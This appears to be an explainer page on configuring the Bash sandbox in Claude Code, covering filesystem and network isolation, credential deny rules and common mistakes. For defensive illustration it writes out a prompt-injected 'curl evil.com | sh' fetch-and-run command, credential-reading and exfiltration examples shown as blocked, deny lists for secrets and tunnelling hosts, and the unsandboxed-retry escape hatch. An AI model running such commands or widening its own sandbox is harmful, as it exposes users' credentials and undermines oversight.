Sandboxing
The Bash sandbox uses operating-system primitives to confine every shell command and its child processes to the files and network hosts you allow, so the boundary holds regardless of what the model decided to run.
What it is
Sandboxing is OS-level enforcement, which is what separates it from permission rules. Rules are evaluated before a command runs, based on the command string. The sandbox is enforced by the operating system on the running process, so it holds even when an allowed command does more than its name suggests, and it covers every child process the command spawns. macOS uses Seatbelt; Linux and WSL2 use bubblewrap plus socat, with an optional seccomp filter for Unix-socket blocking. Native Windows is not supported — run Claude Code inside WSL2.
Two independent layers. Filesystem isolation gives sandboxed commands read and write access to the working directory and the session temp directory, read access to the rest of the machine except denied paths, and no write access anywhere else — not ~/.bashrc, not /bin. Network isolation routes traffic through a proxy running outside the sandbox: no domains are pre-allowed, and the first time a command needs a new host, Claude Code prompts.
Two modes decide what happens to approvals. Auto-allow runs a sandboxable command inside the sandbox and approves it automatically — the boundary substitutes for the prompt. Regular permissions keeps the usual approval flow even when commands are sandboxed. Either way the same restrictions apply; only the prompting differs. A command that cannot run sandboxed falls back to the regular permission flow.
What it does for you
- It survives a bad decision. A prompt injection that convinces Claude to run
curl evil.com | shstill cannot reach a host outside your allowlist or write outside the working directory. - It removes approval fatigue safely. Auto-allow means builds, test runs, and installs stop prompting, because the boundary is doing the work the prompt was doing.
- It covers processes rules cannot. A Python script that opens
~/.aws/credentialsitself is outside the Read deny rule system and inside the sandbox boundary.
How it works
01The OS enforces the filesystem boundary
Writes are limited to the working directory and the session temp directory that
$TMPDIRpoints to. Reads cover the machine except denied paths — note that this default still allows reading~/.aws/credentialsand~/.ssh/unless you block them.02A proxy outside the sandbox enforces the network boundary
No domains are pre-allowed. A new host prompts once and is then allowed for the session.
allowedDomainsandWebFetch(domain:...)allow rules pre-allow hosts;strictAllowlistdenies anything outside the list instead of prompting.03sandbox.credentials protects specific secrets
"mode": "deny"blocks reads of a file and unsets an environment variable before each sandboxed command."mode": "mask"shows a sentinel value instead and has the proxy swap in the real one on requests to hosts you list ininjectHosts.04Worktrees get a carve-out for git
When the working directory is a linked git worktree, the sandbox also allows writes to the main repository’s shared
.gitdirectory sogit commitworks. Writes tohooks/andconfiginside it stay denied.05A failing command may be retried outside the sandbox
When a command fails because of sandbox restrictions, Claude can retry it with
dangerouslyDisableSandbox. That retry goes through the regular permission flow. SetallowUnsandboxedCommands: false— Strict sandbox mode — to disable the escape hatch entirely.06Plan mode does not widen approvals
Auto-allow is deliberately skipped during planning: commands outside the built-in read-only set still prompt, or go to the auto-mode classifier when it is available.
How to implement it
01Install the dependencies on Linux and WSL2
Run
sudo apt-get install bubblewrap socator the Fedora equivalent. macOS needs nothing. Restart Claude Code afterwards so the startup dependency check sees them.02Turn it on and pick a mode
Run
/sandbox. Choose auto-allow to stop prompting for sandboxable commands, or regular permissions to keep the approval flow. The choice saves to.claude/settings.local.json.03Allow the hosts your build actually needs
Add your package registry and source host to
sandbox.network.allowedDomainsso installs do not prompt on first use. Everything else keeps prompting, which is the point.04Grant write access where a tool needs it
Use
sandbox.filesystem.allowWritefor paths such as~/.kubeor a build cache. This is better than excluding the whole tool withexcludedCommands, because the boundary stays in force.05Block the credentials that must never be read
Add
sandbox.credentials.filesentries for~/.aws/credentialsand~/.ssh, andenvVarsentries for tokens. There is no built-in deny list — only what you name is restricted.
Examples
{
"sandbox": {
"enabled": true,
"filesystem": {
"allowWrite": ["~/.cache/turbo", "/tmp/build"],
"denyRead": ["~/Documents", "~/Desktop"]
},
"network": {
"allowedDomains": [
"registry.npmjs.org",
"github.com",
"*.github.com",
"objects.githubusercontent.com"
],
"deniedDomains": ["*.ngrok.io", "*.serveo.net"]
},
"credentials": {
"files": [
{ "path": "~/.aws/credentials", "mode": "deny" },
{ "path": "~/.ssh", "mode": "deny" }
],
"envVars": [
{ "name": "AWS_SECRET_ACCESS_KEY", "mode": "deny" },
{ "name": "NPM_TOKEN", "mode": "deny" }
]
},
"allowUnsandboxedCommands": false
}
}{
"sandbox": {
"enabled": true,
"failIfUnavailable": true,
"allowUnsandboxedCommands": false,
"network": {
"allowManagedDomainsOnly": true,
"allowedDomains": [
"registry.internal.acme",
"github.internal.acme"
]
},
"credentials": {
"files": [
{ "path": "~/.aws/credentials", "mode": "deny" },
{ "path": "~/.kube/config", "mode": "deny" }
]
}
}
}npm test # ok — writes stay in the working directory
npm install # ok — registry.npmjs.org is allowed
echo x >> ~/.bashrc # blocked — write outside the working directory
cat ~/.aws/credentials # blocked — a credentials deny entry
curl https://evil.example # blocked — host not in the allowlist, prompts
python3 -c "open('/etc/hosts','w')" # blocked — the OS boundary covers
# child processes, unlike Read/Edit rulesUse it when
- Running builds, tests, and installs without a permission prompt each time, because the boundary replaces the prompt.
- Working on a repository you did not write, where a postinstall script or a test fixture may do something you did not read.
- Confining network egress to your internal registry and source host so a dependency cannot phone home.
- Keeping cloud credentials and SSH keys unreadable by anything Claude runs, including subprocesses.
- Enforcing a uniform boundary across a team through managed settings, with
failIfUnavailableso a missing dependency fails rather than silently disabling it.
Avoid it when
- You need isolation for the whole Claude Code process. The Bash sandbox covers Bash commands and their children only — a dev container or a VM covers everything.
- Your toolchain genuinely needs broad write access and you would end up allowing most of the filesystem. A sandbox with an allowlist that wide gives you the overhead without the boundary.
- You are on native Windows. The sandbox is unsupported there; run Claude Code inside WSL2 instead.
- You are relying on TLS inspection to catch exfiltration. By default the proxy enforces the allowlist on the requested hostname and does not terminate TLS.
Common mistakes
SYMPTOMTurning on the sandbox and assuming credentials are now safe.
FIXThere is no built-in credential deny list, and the default read behaviour covers the whole machine. Add
sandbox.credentials.filesentries for~/.aws/credentials,~/.ssh, and anything else that matters.SYMPTOMThe sandbox silently does nothing on Linux.
FIXA missing dependency makes Claude Code warn and run unsandboxed. Run
/sandboxand read the Dependencies tab, installbubblewrapandsocat, and restart. SetfailIfUnavailable: trueto make this a hard failure.SYMPTOMA tool fails inside the sandbox and Claude re-runs it unsandboxed.
FIXThat is the escape hatch: a sandbox-related failure can be retried with
dangerouslyDisableSandbox, which goes through the regular permission flow. SetallowUnsandboxedCommands: falsefor strict mode, or add an ask rule forBash(dangerouslyDisableSandbox:true).SYMPTOMA build writes outside the working directory and is blocked, so the whole tool gets added to
excludedCommands.FIXExcluding the command removes the boundary for it entirely. Add the specific path to
sandbox.filesystem.allowWriteinstead.SYMPTOMTurning off filesystem isolation to make a stubborn tool work.
FIX
filesystem.disabled: truelifts every read block including credentialdenyentries, and a sandboxed command can then write shell startup files or~/.claude/settings.jsonto widen its own access on the next run. Grant the specific path instead.
Best practices
- Turn the sandbox on before working in a repository you have not read.
- Name your credential files and token environment variables explicitly — nothing is protected by default.
- Pre-allow only the hosts your build needs, and let everything else prompt.
- Grant narrow write paths with
allowWriterather than excluding whole commands. - Use
failIfUnavailable: truewherever the sandbox is a security gate rather than a convenience. - Pair it with permission rules: rules stop Claude attempting the action, and the sandbox stops the process succeeding if it does.
Try it in five minutes
Turn the sandbox on and find its edges — including the one permission rules cannot cover.
- 1.On macOS, Linux, or WSL2, open a project and run
/sandbox. Installbubblewrapandsocatif the Dependencies tab asks, then restart and choose auto-allow. - 2.Ask Claude to run
npm testor your build. It runs without a prompt: the boundary replaced it. - 3.Ask Claude to run
echo test >> ~/.bashrc. The write is blocked outside the working directory. - 4.Ask it to run
curl https://example.com. You get a network prompt, because no domains are pre-allowed. - 5.Add a
sandbox.credentials.filesdeny entry for a dummy~/.fake-credsfile, restart, and confirm bothcat ~/.fake-credsandpython3 -c "print(open('/Users/you/.fake-creds').read())"are blocked — the second one is what a Read deny rule would have missed.
Related concepts
Verified against code.claude.com/docs/en/sandboxing on 2026-08-09. See content/SOURCES.md for the full table.
← / → MOVE BETWEEN CONCEPTS